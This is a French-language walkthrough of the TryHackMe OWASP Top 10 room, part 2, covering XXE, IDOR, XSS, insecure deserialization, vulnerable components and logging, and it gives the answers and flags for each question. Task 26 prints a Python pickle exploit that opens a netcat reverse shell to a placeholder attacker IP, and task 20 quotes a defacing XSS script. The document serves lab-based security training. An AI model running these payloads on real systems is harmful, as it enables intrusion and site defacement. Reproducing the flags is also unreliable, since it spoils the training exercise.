TryHackMe OWASP Top 10
Partie 2
#Task 12 - [Severity 4] - XML External Entity
Démarrer la machine et lisez le contenu.
#Task 13 - [Severity 4] - XML External Entity - eXtensible Markup Language
Lisez le contenu pour bien comprendre les mécanismes xml avant d'apprendre comment exploiter XXE.
Question
Full form of XML
Réponse
extensible markup language
Question
Is it compulsory to have XML prolog in XML documents?
Réponse
no
Question
Can we validate XML documents against a schema?
Réponse
yes
Question
How can we specify XML version and encoding in XML document?
Réponse
xml prolog
#Task 14 - [Severity 4] - XML External Entity - DTD
Ici c'est la partie la plus importante qui nous permettra d'exploiter XXE. Lisez là avec attention. Une fois assimilée, vous pouvez répondre aux questions.
exemple avec le contenu du fichier que nous appellerons 'note.dtd'
NOTE: #PCDATA signifie Parseable Character Data.
et le document xml qui l'utilise :
Question
How do you define a new ELEMENT?
Réponse
!ELEMENT
Question
How do you define a ROOT element?
Réponse
!DOCTYPE
Question
How do you define a new ENTITY?
Réponse
!ENTITY
Passons désormais à l'écriture du payload XXE.
#Task 15 - [Severity 4] - XML External Entity - XXE Payload
On y arrive enfin. Construire notre payload pour exploiter la faille XXE.
Vous apprenez ici comment construire un payload simple permettant de remplacer une donnée par une autre et le second, permet de lire un fichier sur le disque.
#Task 16 - [Severity 4] - XML External Entity - Exploiting
Rendez vous sur la machine de la victime via votre navigateur favori puis lancez Burp Suite pour contrôler les Requests et Responses.
Testez le 1er payload vu dans la task 15
puis le second
Question
What is the name of the user in /etc/passwd
Réponse
falcon
Question
Where is falcon's SSH key located?
Réponse
/home/falcon/.ssh/id_rsa
Question
What are the first 18 characters for falcon's private key
pour trouver la réponse vous aller devoir simpement modifier votre payload 2 en pointant vers le repertoire indiqué à la réponse précédent.
Réponse
MIIEogIBAAKCAQEA7b
#Task 17 - [Severity 5] - Broken Access Control
Lisez attentivement les explications avant de passer au Challenge
#Task 18 - [Severity 5] - Broken Access Control (IDOR Challenge)
Question
Look at other users notes. What is the flag?
Réponse
flag{fivefourthree}
#Task 19 - [Severity 6] - Security Misconfiguration
Comme d'habitude lisez les explications pour comprendre le sujet puis passez aux questions.
Si vous avez bien lu, vous devriez être capable de résoudre ce challenge.
Question
Hack into the webapp, and find the flag!
Réponse
thm{4b9513968fd564a87b28aa1f9d672e17}
#Task 20 - [Severity 7] - Cross-Site Scripting
XSS l'une des failles les moins considérées et pourtant pouvant être vraiment désastreuse ! (https://tryhackme.com/room/xss)
Question
Navigate to http://[MACHINE IP] in your browser and click on the "Reflected XSS" tab on the navbar; craft a reflected XSS payload that will cause a popup saying "Hello".
Réponse
ThereIsMoreToXSSThanYouThink
Question
On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.
Réponse
ReflectiveXss4TheWin
Question
Now navigate to http://[MACHINE IP] in your browser and click on the "Stored XSS" tab on the navbar; make an account.
Then add a comment and see if you can insert some of your own HTML.
Réponse
HTML_T4gs
Question
On the same page, create an alert popup box appear on the page with your document cookies.
Réponse
W3LL_D0N3_LVL2s
Question
Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.
Réponse
Celui-ci nécessite un peu de recherche. Par exemple vous pourrez utiliser le payload suivant <script>document.getElementById('thm-title').innerText = "I am a hacker"</script>
ce qui donnera la réponse :
websites_can_be_easily_defaced_with_xss
#Task 21 - [Severity 8] - Insecure Deserialization
Question
Who developed the Tomcat application?
Réponse
The Apache Software foundation
Question
What type of attack that crashes services can be performed with insecure deserialization?
Réponse
Denial of service
#Task 22 - [Severity 8] - Insecure Deserialization - Objects
Question
Select the correct term of the following statement:
if a dog was sleeping, would this be:
A) A State
B) A Behaviour
Réponse
A behaviour
#Task 23 - [Severity 8] - Insecure Deserialization - Deserialization
Question
What is the name of the base-2 formatting that data is sent across a network as?
Réponse
binary
#Task 24 - [Severity 8] - Insecure Deserialization - Cookies
Question
If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be?
Réponse
webapp.com/login
Question
What is the acronym for the web technology that Secure cookies work over?
Réponse
https
#Task 25 - [Severity 8] - Insecure Deserialization - Cookies Practical
Question
1st flag (cookie value)
Réponse
THM{good_old_base64_huh}
Question
2nd flag (admin dashboard)
Réponse
THM{heres_the_admin_flag}
#Task 26 - [Severity 8] - Insecure Deserialization - Code Execution
En exploitant la possibilité de décoder /encoder le cookie encodedPayload, préparer la machine de l'attaquant comme indiqué et suivez les étapes de la tâche qui consiste à modifier ce code avec votre propre IP de machine.
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRY_HACKME_VPN_IP 1234 > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))
print(base64.b64encode(pickle.dumps(rce())))
Après avoir executer python3 rce.py
et récupérer l'encodage en base 64, vous obtenez un accès shell à la machine. Il ne vous reste plus qu'à trouver où se trouve le drapeau flag.txt
Question
flag.txt
Réponse
4a69a7ff9fd68
#Task 27 - [Severity 9] - Components with known vulnerabilities - Intro
Petit rappel dans cette section vous indiquant que vous pouvez retrouver de nombreuses vulnérabilités connus et parfoit même des exploits sur par exemple https://www.exploit-db.com/exploits/41962
Question
-
Réponse
-
#Task 28 - [Severity 8] - Components with known vulnerabilities - Exploit
Cette section vous explique que la majorité des exploits que vous retrouverez en ligne, peuvent nécessiter quelques modifications avant d'être fonctionnel.
Question
-
Réponse
-
#Task 29 - [Severity 8] - Components with known vulnerabilities - Lab
Le gros du travail consiste à bien rechercher sur le web pour venir à bout de ce CTF. (Capture the flag).
Trouvez le bon exploit (RCE) puis executer le pour obtenir l'accès à la machine.
Si vous êtes curieux, analysez le code source pour en apprendre d'avantage. L'analyse des exploits existants sont précieux pour créer vos propres exploits.
Question
How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)
Réponse
1611
#Task 30 - [Severity 10] - Insufficient logging and monitoring
Question
What IP address is the attacker using?
Réponse
49.99.13.16
Question
What kind of attack is being carried out?
Réponse
brute force
C'est terminé pour cette room THM !